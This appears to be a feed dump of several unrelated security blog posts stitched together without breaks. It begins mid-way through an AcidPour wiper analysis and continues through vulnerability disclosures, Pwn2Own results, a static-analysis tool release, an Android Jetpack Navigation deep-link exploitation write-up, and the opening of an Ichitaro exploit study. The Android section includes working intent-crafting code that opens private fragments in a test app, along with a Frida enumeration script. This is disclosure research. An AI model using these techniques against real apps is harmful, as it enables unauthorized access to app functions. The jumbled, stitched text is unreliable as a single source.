These devices act as virtual layers of block devices, enabling features like logical volumes, software RAID, and disk encryption. This would put devices like Storage Area Networks (SANs), Network Attached Storage (NASes), and dedicated RAID arrays in scope for AcidPour’s effects.

All Local, No imports

One of the most interesting aspects of AcidPour is its coding style, reminiscent of the pragmatic CaddyWiper broadly utilized against Ukrainian targets alongside notable malware like Industroyer 2.

AcidPour is programmed in C without relying on statically-compiled libraries or imports. Most functionality is implemented via direct syscalls, many called through the use of inline assembly and opcodes.

Example of a direct syscall implementation
Example of a direct syscall implementation

This forces some unusual seemingly-archaic approaches to simple operations like storing and modifying format strings for device paths as needed in the course of their operations.

Self-Delete

Perhaps as a response to the discovery of AcidRain, this new version now kicks off with a self-delete function. It maps the original file into memory, then overwrites it with a sequence of bytes ranging from 0-255 followed by a polite Ok.

AcidPour overwrites itself on disk at the beginning of its execution
AcidPour overwrites itself on disk at the beginning of its execution

Alternate Device Wiping Mechanism

At the time of our discovery of AcidRain, there was some confusion about the involvement of a wiper in taking down the Surfbeam2 modems. As we reverse engineered the malware, we found a second wiping mechanism that didn’t rely on IOCTLs. This alternate mechanism filled a buffer with the highest byte value (0xFFFFFFFF) and proceeded to decrement by 1, overwriting its target with the result. That allowed us to connect AcidRain’s expected output with dumps of the affected devices.

Viasat incident
I managed to dump the flash of two Surfbeam2 modems: 'attacked1.bin' belongs to a targeted modem during the attack, 'fw_fixed.bin' is a clean one.
A destructive attack. pic.twitter.com/0QuTrLFR2A

— reversemode (@reversemode) March 31, 2022

With this crucial detail in mind, we were curious as to whether AcidPour implements an analogous alternate wiping mechanism.

Depending on the device type, a different wiping mechanism is engaged, overwriting the device repeatedly with the contents of a 256kb buffer. The specifics of this alternate mechanism require further analysis.

Attribution

Earlier this week, CERT-UA confirmed our findings and publicly attributed the activity to UAC-0165, considered a subgroup of the outdated Sandworm APT. UAC-0165 targets are commonly observed in Ukrainian critical infrastructure, including telecommunications, energy, and government services.

In September 2023, Ukraine SSSCIP publicly released a report on their latest findings of Russian linked threat activity. Notably, their section on UAC-0165 points to the continued use of GRU-linked, fake hacktivist personas as a medium for publicly announcing major intrusions and the leak of stolen data from Ukrainian victims.

On March 13th, the SolntsepekZ persona publicly claimed the intrusion into Ukrainian telecommunication organizations, three days prior to our discovery of AcidPour.

In addition to their Telegram presence, SolntsepekZ makes use of multiple domains under this persona. On Telegram, visitors are currently linked to solntsepek[.]com, which is associated with the hosting IP 185.61.137.155, of BlazingFast Hosting in Kiev. This hosting IP has previously hosted solntsepek[.]info as well as being related to solntsepek[.]org and similar to solntsepek[.]ru.

Review of the current state of these alleged target organizations indicates the impact is still ongoing. Below is an example notice currently on display from Triangulum, a group of companies providing telephone and Internet services under the Triacom brand, and Misto TV. Industry colleagues with Kentik are also observing this activity and have shared observations of the impact starting on March 13th as well.

Triacom (Translated)
Triacom (Translated)

Misto-TV (Translated)
Misto-TV (Translated)

At this time, we cannot confirm that AcidPour was used to disrupt these ISPs. The longevity of the disruption suggests a more complex attack than a simple DDoS or nuisance disruption. AcidPour, uploaded 3 days after this disruption started, would fit the bill for the requisite toolkit. If that’s the case, it could serve as another link between this hacktivist persona and specific GRU operations.

Conclusion

The discovery of AcidPour in-the-wild serves as a stark reminder that cyber support for this hot conflict continues to evolve two years after AcidRain. The threat actors involved are adept at orchestrating wide-ranging disruptions and have demonstrated their unwavering intent to do so by a variety of means.

The transition from AcidRain to AcidPour, with its expanded capabilities, underscores the strategic intent to inflict significant operational impact. This progression reveals not only a refinement in the technical capabilities of these threat actors but also their calculated approach to select targets that maximize follow-on effects, disrupting critical infrastructure and communications.

We continue to monitor these activities and hope the broader research community will continue to support this tracking with additional telemetry and analysis.

Netgear wireless router open to code execution after buffer overflow vulnerability

Netgear wireless router open to code execution after buffer overflow vulnerability

Cisco Talos’ Vulnerability Research team recently disclosed three vulnerabilities across a range of products, including one that could lead to remote code execution in a popular Netgear wireless router designed for home networks. 

There is also a newly disclosed vulnerability in a graphics driver for some NVIDIA GPUs that could lead to a memory leak. 

All the vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in adherence to Cisco’s third-party vulnerability disclosure policy

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.  

Netgear RAX30 JSON parsing stack-based buffer overflow vulnerability 

Discovered by Michael Gentile. 

The Netgear RAX30 wireless router contains a stack-based buffer overflow vulnerability that could allow an attacker to execute arbitrary code on the device.  

An adversary could send a targeted device a specially crafted HTTP request to eventually cause a buffer overflow condition. 

The RAX30 is a dual-band Wi-Fi router that’s commonly used on home networks. In an advisory about TALOS-2023-1887 (CVE-2023-48725), Netgear stated that the vulnerability “requires an attacker to have your WiFi password or an Ethernet connection to a device on your network to be exploited.” 

NVIDIA D3D10 driver out-of-bounds read vulnerability 

Discovered by Piotr Bania. 

TALOS-2023-1849 (CVE-2024-0071) is an out-of-bounds read vulnerability in the shader functionality of the NVIDIA D3D10 driver that runs on several NVIDIA graphics cards. Drivers like D3D10 are usually necessary for the GPU to function properly. 

An adversary could send a specially crafted executable or shader file to the targeted machine to trigger an out-of-bounds read and eventually leak memory.  

This vulnerability could be triggered from guest machines running virtual environments to perform a guest-to-host escape. Theoretically, it could be exploited from a web browser, but Talos tested this vulnerability from a Windows Hyper-V guest using the RemoteFX feature, leading to execution of the vulnerable code on the Hyper-V host. While RemoteFX is no longer actively maintained by Microsoft, some older machines may still use this software.  

An out-of-bounds read vulnerability exists in the Shader functionality of NVIDIA D3D10 Driver, Version 546.01, 31.0.15.4601. A specially crafted executable/shader file can lead to an out-of-bounds read. An attacker can provide a specially crafted shader file to trigger this vulnerability. 

An adversary could also use this vulnerability to leak host data to the guest machine. 

Denial-of-service vulnerability in Google Chrome Video Encoder 

Discovered by Piotr Bania. 

A denial-of-service vulnerability in Google Chrome’s video encoder could crash the browser.  

TALOS-2023-1870 is triggered if the targeted user visits an attacker-created website that contains specific code.  

Talos’ sample exploit runs a JavaScript code related to the Chrome video encoding functionality, eventually causing a denial-of-service in the browser and stopping all processes in Chrome.  

Pwn2Own Vancouver 2024 - Day One Results

Welcome to the first day of Pwn2Own Vancouver 2024! We have two amazing days of research planned, including every browser, SharePoint, and Tesla. We’ll be updating this blog in real time as results become available. We have a full schedule of attempts today, so stay tuned! All times are Pacific Daylight Time (GMT -7:00).


And we’re done with Day One of Pwn2Own Vancouver 2024. We awarded $732,500 USD for 19 unique 0-days. See below for the details of each event. Here are the Master of Pwn standings after the first day:

SUCCESS - AbdulAziz Hariri of Haboob SA was able to execute their code execution attack against Adobe Reader. He combined an an API Restriction Bypass and a Command Injection bug. He earns himself $50,000 and 5 Master of Pwn points.

SUCCESS - The DEVCORE Research Team was able to execute their LPE attack against Windows 11. They combined a couple of bugs, including a somewhat risky TOCTOU race condition. They earn $30,000 and 3 Master of Pwn points.

FAILURE - The Starlabs SG team was unable to get their exploit of Microsoft SharePoint working within the time allotted.

SUCCESS - Seunghyun Lee (@0x10n) of KAIST Hacking Lab was able to execute their exploit of the Google Chrome web browser using a single UAF bug. They earn $60,000 and 6 Master of Pwn points.

SUCCESS - Gwangun Jung (@pr0ln) and Junoh Lee (@bbbig12) from Theori (@theori_io) combined an uninitiallized variable bug, a UAF, and a heap-based buffer overflow to escape VMware Workstation and then execute code as SYSTEM on the host Windows OS. This impressive feat earns them $130,000 and 13 Master of Pwn points.

BUG COLLISION - The DEVCORE Team was able to execute their LPE attack against Ubuntu Linux. However, the bug they used was previously known. They still earn $10,000 and 1 Master of Pwn points.

SUCCESS - Bruno PUJOS and Corentin BAYET from REverse Tactics (@Reverse_Tactics) combined two Oracle VirtualBox bugs - including a buffer overflow - along with a Windows UAF to escape the guest OS and execute code as SYSTEM on the host OS. This fantastic research earns them $90,000 and 9 Master of Pwn points.

SUCCESS - The Synacktiv (@synacktiv) team used a single integer overflow to exploit the Tesla ECU with Vehicle (VEH) CAN BUS Control. The win $200,000, 20 Master of Pwn points, and a new Tesla Model 3 (their second!).

SUCCESS - Kyle Zeng from ASU SEFCOM used an ever tricky race condition to escalate privileges on Ubuntu Linux desktop. This earns him him $20,000 and 20 Master of Pwn points.

SUCCESS - Cody Gallagher used a single OOB Write bug to exploit Oracle VirtualBox. His first ever Pwn2Own attempt results in him winning $20,000 (second round win) and 4 Master of Pwn points.

SUCCESS - Manfred Paul (@_manfp) gets RCE on the Apple Safari browser with an integer underflow bug plus a PAC bypass using a weakness in Apple Safari. He wins himself $60,000 and 6 Master of Pwn points.

FAILURE - STAR Labs SG could not get their exploit of VMware ESXi working within the time allotted.

SUCCESS - Dungdm (@_piers2) of Viettel Cyber Security used two bugs, including the ever-risky race condition, to exploit Oracle VirtualBox. As a round 3 winner, they receive $20,000 and 4 Master of Pwn points.

SUCCESS - Manfred Paul (@_manfp) executed a double-tap exploit on both Chrome and Edge browsers with the rare CWE-1284 Improper Validation of Specified Quantity in Input. His Round 2 win earns him $42,500 and 15 Master of Pwn points.


That’s a wrap on Day One of Pwn2Own Vancouver 2024. We awarded $732,500 for 19 unique bugs. Tune in tomorrow to see if Synacktive can hold on to their Master of Pwn lead or if Manfred Paul is able to overtake them.

Streamline your static analysis triage with SARIF Explorer

By Vasco Franco

Today, we’re releasing SARIF Explorer, the VSCode extension that we developed to streamline how we triage static analysis results. We make heavy use of static analysis tools during our audits, but the process of triaging them was always a pain. We designed SARIF Explorer to provide an intuitive UI inside VSCode, with features that make this process less painful:

  • Open multiple SARIF files: Triage all your results at once.
  • Browse results: Browse results by clicking on them to open their associated location in VSCode. You can also browse a result’s dataflow steps, if present.
  • Classify results: Add metadata to each result by classifying it as a “bug,” “false positive,” or “TODO” and adding a custom text comment. Keyboard shortcuts are supported.
  • Filter results: Filter results by keyword, path (to include or exclude), level (“error,” “warning,” “note,” or “none”), and status (“bug,” “false positive,” or “TODO”).
  • Open GitHub issues: Copy GitHub permalinks to locations associated with results and create GitHub issues directly from SARIF Explorer.
  • Send bugs to weAudit: Send all bugs to weAudit once you’ve finished triaging them and continue with the weAudit workflow.
  • Collaborate: Share the .sarifexplorer file with your colleagues (e.g., on GitHub) to share your comments and classified results.

You can install it through the VSCode marketplace and find its code in our vscode-sarif-explorer repo.

Why we built SARIF Explorer

Have you ever had to triage hundreds of static analysis results, many of which were likely to be false positives? At Trail of Bits, we extensively use static analysis tools such as Semgrep and CodeQL, sometimes with rules that produce many false positives, so this is an experience we’re all too familiar with. As security engineers, we use these low-precision rules because if there’s a bug we can detect automatically, we want to know about it, even if it means sieving through loads of false positive results.

Long ago, you would have found me triaging these results by painstakingly going over a text file or looking into a tiny terminal window. This was grueling work that I did not enjoy at all. You read the result’s description, you copy the path to the code, you go to that file, and you analyze the code. Then, you annotate your conclusions in some other text file, and you repeat.

A few years ago, we started using SARIF Viewer at Trail of Bits. This was a tremendous improvement, as it allowed us to browse a neat list of results organized by rule and click on each one to jump to the corresponding code. Still, it lacked several features that we wanted:

  • The ability to classify results as bugs or false positives directly in the UI
  • Better result filtering
  • The ability to export results as GitHub issues
  • Better integration with weAudit—our tool for bookmarking code regions, marking files as reviewed, and more (check out our recent blog post announcing the release of this tool!)

This is why we built SARIF Explorer!

SARIF Explorer was designed with user efficiency in mind, providing an intuitive interface so that users can easily access all of the features we built into it, as well as support for keyboard shortcuts to move through and classify results.

The SARIF Explorer static analysis workflow

But why did we want all these new features, and how do we use them? At Trail of Bits, we follow this workflow when using static analysis tools:

  1. Run all static analysis tools (configured to output SARIF files).
  2. Open SARIF Explorer and open all of the SARIF files generated in step 1.
  3. Filter out the noisy results.
    • Are there rules that you are not interested in seeing? Hide them!
    • Are there folders for which you don’t care about the results (e.g., the ./third_party folder)? Filter them out!
  4. Classify the results.
    • Determine if each result is a false positive or a bug.
    • Swipe left or right accordingly (i.e., click the left or right arrow).
    • Add additional context with a comment if necessary.
  5. Working with other team members? Share your progress by committing the .sarifexplorer file to GitHub.
  6. Send all results marked as bugs to weAudit and proceed with the weAudit workflow.

SARIF Explorer features

Now, let’s take a closer look at the SARIF Explorer features that enable this workflow:

  • Open multiple SARIF files: You can open and browse the results of multiple SARIF files simultaneously. Use the “Sarif files” tab to browse the list of opened SARIF files and to close or reload any of them. If you open a SARIF file in your workspace, SARIF Explorer will also automatically open it.

  • Browse results: You can navigate to the locations of the results by clicking on them in the “Results” tab. The detailed view of the result, among other data, includes dataflow information, which you can navigate from source to sink (if available). In the GIF below, the user follows the XSS vulnerability from the source (an event message) to the sink (a DOM parser).

GIF showing how to browse results

  • Classify results: You can add metadata to each result by classifying it as a “bug,” “false positive,” or “TODO” and adding a custom text comment. You can use either the mouse or keyboard to do this:
    • Using the mouse: With a result selected, click one of the “bug,” “false positive,” or “TODO” buttons to classify it as such. These buttons appear next to the result and in the result’s detailed view.
    • Using the keyboard: With a result selected, press the right arrow key to classify it as a bug, the left arrow key to classify it as a false positive, and the backspace key to reset the classification to a TODO. This method is more efficient.

  • Filter results: You can filter results by keyword, path (to include or exclude), level (“error,” “warning,” “note,” or “none”), and status (“bug,” “false positive,” or “TODO”). You can also hide all results from a specific SARIF file or from a specific rule. For example, if you want to remove all results from the test and extensions folders and to see only results classified as TODOs, you should:
    • Set “Exclude Paths Containing” to “/test/, /extensions/”
    • Check the “Todo” box and uncheck the “Bug” and “False Positive” boxes in the “Status” section

  • Copy GitHub permalinks: You can copy a GitHub permalink to the location associated with a result. This requires having weAudit installed.

  • Create GitHub issues: You can create formatted GitHub issues for a specific result or for all unfiltered results under a given rule. This requires having weAudit installed.

  • Send bugs to weAudit: You can send all results classified as bugs to weAudit (results are automatically de-duplicated if you send them twice). This requires having weAudit installed.

  • Collaborate: You can share the .sarifexplorer file with your colleagues (e.g., on GitHub) to share your comments and classified results. The file is a prettified JSON file, which helps resolve conflicts if more than one person writes to the file in parallel.

You can find even more details about these features in our README.

Try it!

SARIF Explorer and weAudit greatly improved our efficiency when auditing code, and we hope it improves yours too.

Go try both of these tools out and let us know what you think! We welcome any bug reports, feature requests, and contributions in our vscode-sarif-explorer and vscode-weaudit repos.

If you’re interested in VSCode extension security, check out our “Escaping misconfigured VSCode extensions” and “Escaping well-configured VSCode extensions (for profit)” blog posts.

Contact us if you need help securing your VSCode extensions or any other application.

Android Jetpack Navigation: Deep Links Handling Exploitation

The androidx.fragment.app.Fragment class available in Android allows creating parts of application UI (so-called fragments). Each fragment has its own layout, lifecycle, and event handlers. Fragments can be built into activities or displayed within other fragments, which lends flexibility and modularity to app design.

Android IPC (inter-process communication) allows a third-party app to open activities exported from another app, but it does not allow it to open a fragment. To be able to open a fragment, the app under attack needs to process an incoming intent, and only then will the relevant fragment open, depending on the incoming data. In other words, it is the developer that defines which fragments to make available to a third-party app and implements the relevant handling.

The Navigation library from the Android Jetpack suite facilitates work with fragments. The library contains a flaw that allows a malicious actor to launch any fragments in a navigation graph associated with an exported activity.

Android Jetpack Navigation

Navigation component refers to the interactions that allow users to navigate across, into, and back out from the different pieces of content within an application. The Navigation component handles diverse navigation use cases, from straightforward button clicks to more complex patterns, such as app bars and the navigation drawer.

Let’s describe some basic definitions:

Navigation graph – an XML resource that contains all navigation-related information in one centralized location. This includes all of the individual content areas within your app, called destinations, as well as the possible paths that a user can take through your app.

app:startDestination – is an attribute that specifies the destination that is launched by default when the user first opens the app.

The navigation host is an empty container where destinations are swapped in and out as a user navigates through your app. A navigation host must derive from NavHost. The Navigation component’s default NavHost implementation, NavHostFragment, handles swapping fragment destinations.

Issue with the library

Let’s review the explicit intent handling mechanism.

val pendingIntent = NavDeepLinkBuilder(context)
    .setGraph(R.navigation.nav_graph)
    .setDestination(R.id.android)
    .setArguments(args)
    .createPendingIntent()

As we review the createPendingIntent method, we eventually find that it calls the fillInIntent method listed below:

for (destination in destinations) {
	val destId = destination.destinationId
	val arguments = destination.arguments
	val node = findDestination(destId)
	if (node == null) {
		val dest = NavDestination.getDisplayName(context, destId)
		throw IllegalArgumentException(
                    "Navigation destination $dest cannot be found in the navigation graph $graph"
                )
	}
	for (id in node.buildDeepLinkIds(previousDestination)) {
		deepLinkIds.add(id)
		deepLinkArgs.add(arguments)
	}
	previousDestination = node
}
val idArray = deepLinkIds.toIntArray()
intent.putExtra(NavController.KEY_DEEP_LINK_IDS, idArray)
intent.putParcelableArrayListExtra(NavController.KEY_DEEP_LINK_ARGS, deepLinkArgs)

The buildDeepLinkIds method builds an array that contains the hierarchy from the root (or the destination specified as a parameter) down to the destination that calls this method. This code shows a fragment ID array and an argument array for each fragment being added to the intent’s extra data.

Now, let’s consider the mechanism of handling an incoming deep link: the NavController.handleDeeplink method. The text below is taken from the method description:

Checks the given Intent for a Navigation deep link and navigates to the deep link if present. This is called automatically for you the first time you set the graph if you’ve passed in an Activity as the context when constructing this NavController, but should be manually called if your Activity receives new Intents in Activity.onNewIntent.

The handleDeeplink method is called every time a NavHostFragment is created.

Part of the call stack
Part of the call stack
Part of the call stack

The method itself is fairly bulky, so we will only focus on a few details.

public open fun handleDeepLink(intent: Intent?): Boolean {
        ...
        var deepLink = try {
            extras?.getIntArray(KEY_DEEP_LINK_IDS)
        }
        ...
        if (deepLink == null || deepLink.isEmpty()) {
            val matchingDeepLink = _graph!!.matchDeepLink(NavDeepLinkRequest(intent))
            if (matchingDeepLink != null) {
                val destination = matchingDeepLink.destination
                deepLink = destination.buildDeepLinkIds()
                deepLinkArgs = null
                val destinationArgs = destination.addInDefaultArgs(matchingDeepLink.matchingArgs)
                if (destinationArgs != null) {
                    globalArgs.putAll(destinationArgs)
                }
            }
        }
        if (deepLink == null || deepLink.isEmpty()) {
            return false
        }

The method returns false if the incoming intent does not contain a deepLink fragment ID array or does not contain a deep link that corresponds to the deep links created by the app. Otherwise, the following code is executed:

...
val args = arrayOfNulls<Bundle>(deepLink.size)
for (index in args.indices) {
	val arguments = Bundle()
	arguments.putAll(globalArgs)
	if (deepLinkArgs != null) {
		val deepLinkArguments = deepLinkArgs[index]
		if (deepLinkArguments != null) {
			arguments.putAll(deepLinkArguments)
		}
	}
	args[index] = arguments
}

...

for (i in deepLink.indices) {
    val destinationId = deepLink[i]
    val arguments = args[i]
    val node = if (i == 0) _graph else graph!!.findNode(destinationId)
    if (node == null) {
        val dest = NavDestination.getDisplayName(context, destinationId)
        throw IllegalStateException(
            "Deep Linking failed: destination $dest cannot be found in graph $graph"
        )
    }
    if (i != deepLink.size - 1) {
        // We're not at the final NavDestination yet, so keep going through the chain
        if (node is NavGraph) {
            graph = node
            // Automatically go down the navigation graph when
            // the start destination is also a NavGraph
            while (graph!!.findNode(graph.startDestinationId) is NavGraph) {
                graph = graph.findNode(graph.startDestinationId) as NavGraph?
            }
        }
    } else {
        // Navigate to the last NavDestination, clearing any existing destinations
        navigate(
            node,
            arguments,
            NavOptions.Builder()
                .setPopUpTo(_graph!!.id, true)
                .setEnterAnim(0)
                .setExitAnim(0)
                .build(),
            null
        )
    }
}

In other words, the method tries each ID received in the deepLink array, one by one. If the ID matches a navigation graph that can be reached from the current one, it replaces the current graph with the new one or else ignores it. At the end of the method, the app navigates to the last ID in the array by using the navigate method.

All of the above suggests that the handleDeeplink method processes extra data regardless of whether the specific fragment uses the deep link mechanism.

Test app

The application contains one exported activity that implements a navigation graph.

The navigation bar alllows navigating to the home, stack, and deferred fragments. The stack contains the FirstFragment and SecondFragment fragments that can be alternated by tapping a button. The deferred fragment contains a FragmentContainerView layout with a new navigation graph.

The mobile_navigation graph
The mobile_navigation graph
The mobile_navigation graph
The deferred_navigation graph
The deferred_navigation graph
The deferred_navigation graph
App demo

Exploitation

Opening one fragment

The app under attack contains the PrivateFragment fragment, which is added to the mobile_navigation graph. It cannot be navigated to via an action or deep link, and this fragment is not called anywhere in the application code. Nevertheless, a third-party app can open the fragment by using the code given below.

val graphs = mapOf("mobile_navigation" to 2131230995,"deferred_navigation" to 2131230865)
val fragments = mapOf("private" to 2131231042,
    "first" to 2131231039,
    "second" to 2131231043,
    "private_deferred" to 2131230921)
val fragmentIds = intArrayOf(graphs["mobile_navigation"]!!,fragments["private"]!!)
val b1 = Bundle()
Intent().apply{
	setClassName("ru.ptsecurity.navigation_example","ru.ptsecurity.navigation_example.MainActivity")
	putExtra("android-support-nav:controller:deepLinkExtras", b1)
	putExtra("android-support-nav:controller:deepLinkIds", fragmentIds)
}.let{ startActivity(it) }
Easy navigation

Fragment stack

The library enables navigation while creating a stack of several fragments. To do this, an Intent.FLAG_ACTIVITY_NEW_TASK flag needs to be added to the intent. Starting with version 2.4.0, you can pass an individual set of arguments to each fragment.

var deepLinkArgs = extras?.getParcelableArrayList<Bundle>(KEY_DEEP_LINK_ARGS)
...
val args = arrayOfNulls<Bundle>(deepLink.size)
        for (index in args.indices) {
            val arguments = Bundle()
            arguments.putAll(globalArgs)
            if (deepLinkArgs != null) {
                val deepLinkArguments = deepLinkArgs[index]
                if (deepLinkArguments != null) {
                    arguments.putAll(deepLinkArguments)
                }
            }
            args[index] = arguments
        }
...

        if (flags and Intent.FLAG_ACTIVITY_NEW_TASK != 0) {
            // Start with a cleared task starting at our root when we're on our own task
            if (!backQueue.isEmpty()) {
                popBackStackInternal(_graph!!.id, true)
            }
            var index = 0
            while (index < deepLink.size) {
                val destinationId = deepLink[index]
                val arguments = args[index++]
                val node = findDestination(destinationId)
                if (node == null) {
                    val dest = NavDestination.getDisplayName(
                        context, destinationId
                    )
                    throw IllegalStateException(
                        "Deep Linking failed: destination $dest cannot be found from the current " +
                            "destination $currentDestination"
                    )
                }
                navigate(
                    node, arguments,
                    navOptions {
                        anim {
                            enter = 0
                            exit = 0
                        }
                        val changingGraphs = node is NavGraph &&
                            node.hierarchy.none { it == currentDestination?.parent }
                        if (changingGraphs && deepLinkSaveState) {
                            // If we are navigating to a 'sibling' graph (one that isn't part
                            // of the current destination's hierarchy), then we need to saveState
                            // to ensure that each graph has its own saved state that users can
                            // return to
                            popUpTo(graph.findStartDestination().id) {
                                saveState = true
                            }
                            // Note we specifically don't call restoreState = true
                            // as our deep link should support multiple instances of the
                            // same graph in a row
                        }
                    }, null
                )
            }
            return true
        }

Below is the application code that creates a stack of four fragments from the bottom up: first, second, second, second.

val fragmentIds = intArrayOf(graphs["mobile_navigation"]!!,fragments["first"]!!,fragments["second"]!!,fragments["second"]!!,fragments["second"]!!)
val b1 = Bundle().apply{putString("textFirst","application")}
val b2 = Bundle().apply{putString("textSecond","exploit")}
val b3 = Bundle().apply{putString("textSecond","from")}
val b4 = Bundle().apply{putString("textSecond","Hello")}
val bundles = arrayListOf<Bundle>(Bundle(),b1,b2,b3,b4)
Intent().apply{
	setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
	setClassName("ru.ptsecurity.navigation_example","ru.ptsecurity.navigation_example.MainActivity")
	putExtra("android-support-nav:controller:deepLinkArgs", bundles)
	putExtra("android-support-nav:controller:deepLinkIds", fragmentIds)
}.let{ startActivity(it)}
Fragment stack navigation

Deferred navigation

Normally, a malicious actor can only navigate to the graphs that were nested into the original navigation graph with the help of an <include> tag. Still, we discovered a way to make further graphs accessible.

As mentioned above, the handleDeeplink method is called every time an instance of NavHostFragment is created.

So if, while using the application within one activity, we navigate to a fragment that contains a new FragmentContainerView with a navigation graph of its own, the application calls the handleDeeplink method again. We can define an ID array that is invalid for the first time the method is called when opening the application, but when we navigate to the sought-for FragmentContainerView, the array becomes valid, and the application navigates to the required fragment. The code below implements deferred navigation to the private fragment that only opens when navigating to the deferred fragment from the navigation bar:

val fragmentIds = intArrayOf(graphs["deferred_navigation"]!!,fragments["private_deferred"]!!)
val b1 = Bundle()
Intent().apply{
	setClassName("ru.ptsecurity.navigation_example","ru.ptsecurity.navigation_example.MainActivity")
	putExtra("android-support-nav:controller:deepLinkExtras", b1)
	putExtra("android-support-nav:controller:deepLinkIds", fragmentIds)
}.let{ startActivity(it)}

Fragment identifiers

If the androidx.navigation library is not obfuscated, the following Frida script can fetch all graph and fragment IDs in runtime:

function getFragments() 
{
    Java.choose("androidx.navigation.NavGraph",
    {
        onMatch: function(instance)
        {
            console.log("Graph with id="+instance.id.value, instance);
            console.log("Fragments:\n"+instance.nodes.value+"\n");
        },
        onComplete: function() {}
    });
}

Statically, IDs can be obtained from the R.id class.

Getting IDs with jadx-gui
Getting IDs with jadx-gui
Getting IDs with jadx-gui

Conclusion

A malicious actor can use a specially crafted intent to navigate to any fragment in the navigation graph in any given order, even if not intended by the application. This disrupts application logic and opens new entry points due to the possibility of defining arguments for each fragment.

Google considers this not a vulnerability but an error in the documentation. Therefore, all the company did to address this was add the following text:

Caution: This APIs allows deep linking to any screen in your app, even if that screen does not support any implicit deep links. You should follow the Conditional Navigation page to ensure that screens that require login conditionally redirect users to those screens when you reach that screen via a deep link.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

  • Cisco Talos disclosed several vulnerabilities in JustSystems’ Ichitaro Word Processor last year. These vulnerabilities were complex and were discovered through extensive reverse engineering.
  • CVE-2023-35126 and its peers (CVE-2023-34366, CVE-2023-38127, and CVE-2023-38128) were each assessed as exploitable with the possibility of achieving arbitrary code execution.
  • To establish precedence, a complete arbitrary code execution exploit was developed using only limited primitives provided by CVE-2023-35126, demonstrating its severity in contrast with JP CERT’s assessment.
  • Doing so required an in-depth understanding of the complex file format as well as the internal mechanisms as implemented by Ichitaro, mirroring the exploitation research that a potential malicious adversary would need to perform to achieve the same goal. 
  • The exploit converts an out-of-bounds index into a frame pointer overwrite. After silently executing the payload, the process is repaired, allowing the application to finish loading the rest of the document. Silent continuation of process execution is essential so as not to alert the target victim.
  • Its payload is distinctly separated from the vulnerability and can be decoded from an arbitrary document stream that is specified at build time. Tools and techniques developed and demonstrated will help us better assess and more quickly understand similar threats in the future. 
  • Stopping short of publishing complete exploit code, we believe it is important to showcase the complexities involved in developing exploits for unusual vulnerabilities and to highlight the importance of exploit mitigations.

The Ichitaro word processing component software from JustSystems, Inc. is part of the company’s larger suite of office products, similar to Microsoft Office 365. While fairly unknown in the rest of the world, it has a large market share in Japan. Regionally popular, but often overlooked, these types of applications have been targets of malicious exploitation campaigns previously. Vulnerability research conducted by Cisco Talos over the past year has uncovered multiple high-severity vulnerabilities in Ichitaro that could allow an adversary to carry out a variety of malicious actions, including arbitrary code execution. JustSystems has patched all the vulnerabilities mentioned in this blog post, all in adherence to Cisco’s third-party vendor vulnerability disclosure policy.

Straightforward fuzzing is mostly ineffective against these types of applications. Complex functionality supported by a complex file format required extensive reverse engineering that yielded a deeper understanding of the inner workings of Ichitaro, which was necessary for effective bug hunting, be it through fuzzing or manual code auditing. These insights help us better assess the severity of vulnerabilities uncovered in the future.

The uncovered vulnerabilities were generally complex and difficult to reach and trigger. For now, we’ll focus on one vulnerability, in particular, TALOS-2023-1825 (CVE-2023-35126). For demonstration purposes, we are using Ichitaro 2023 version 1.0.1.59372. JustSystems patched this vulnerability in security update 2023.10.19. Our emphasis is on the methods employed while performing root cause and exploitability analysis.

Developing memory corruption exploits beyond simple proof of concepts is occasionally time-consuming, and hence is not taken lightly. With the advent of more advanced exploit mitigations, it becomes difficult to assess if a singular vulnerability is exploitable and what its severity is. What helps is exploit equivalence classes. An exploit for a use-after-free vulnerability in a certain context demonstrates that all similar use-after-free vulnerabilities are exploitable. While exploit equivalence classes are established for the most common types of targets (browsers or OS kernels, for example), we have no precedent to fall back on when working with previously unknown types of software. 

This is especially important when judging the severity of the vulnerabilities. Our assessment of this vulnerability using CVSS 3.1 scoring was 7.8 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H), while JP CERT assigned it 3.3 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L), as they didn’t deem arbitrary code execution possible. This severely underestimates the severity and poses an unnecessary risk to users who might ignore the security updates. By demonstrating and establishing the exploitability of this vulnerability, we aim to rectify the situation and clarify exploitability estimates for the vulnerabilities we uncover in the future. 

When exploiting a vulnerability in a common target, well-known techniques can be employed, such as relying on the well-known “addrof/fakeobj” abstraction when exploiting JavaScript engines. However, not all targets allow for the same general techniques. In some cases, interactivity is not possible, or the location of the vulnerability does not allow the adversary to influence enough of the target to allow for exploitability.

We dissected one of the vulnerabilities discovered within Ichitaro that was classified with seemingly limited severity. Leveraging this vulnerability along with side effects of the code that it belongs to allowed us to construct more powerful exploitation primitives which ultimately resulted in full arbitrary code execution. This not only increases our confidence in the assessment of these families of vulnerabilities but documents and demonstrates the building blocks, tools and methodologies necessary to conduct this research. 

Format

The main document type supported by the Ichitaro word processor uses the .jtd file extension and is stored as a Microsoft Compound Document. A compound document file contains a hierarchical structure composed of multiple content streams, along with naming information for each, which gives it the near appearance of a filesystem. The primary API is also exposed by Microsoft via COM which, when used to open a document, returns an object that implements the IStorage interface. As a result, the format has been used throughout the years by several Microsoft components, including Microsoft's Office suite, and is extensively documented by Microsoft in [MS-CFB]: Compound File Binary File Format.

Implementers of software utilizing Microsoft's Compound Document format will leverage its file system-like capabilities to store different streams relating to the contents of the document. Thus, when an application is asked to load a document, the application will read a list of directory entries out of the document to extract the stream names. These stream names can then be used to access the contents of the individual streams, which can then be used to load the necessary parts to restore the document.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

From this logic of referencing a stream by its name, a pattern can be identified by the reverse engineer and identify where a specific stream is being parsed by a binary. This pattern, combined with the standard API, can enable a reverse engineer to identify the relevant parts of an application that interact with a document.

Utilizing these patterns, TALOS-2023-1825 was discovered and then reported as CVE-2023-35126. When first examining an empty document file, several streams along with their names can be found in the structure storage document's directory. Cross-referencing some of these stream names with the modules loaded in the address space of the binary leads us to a single binary that references the stream name.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

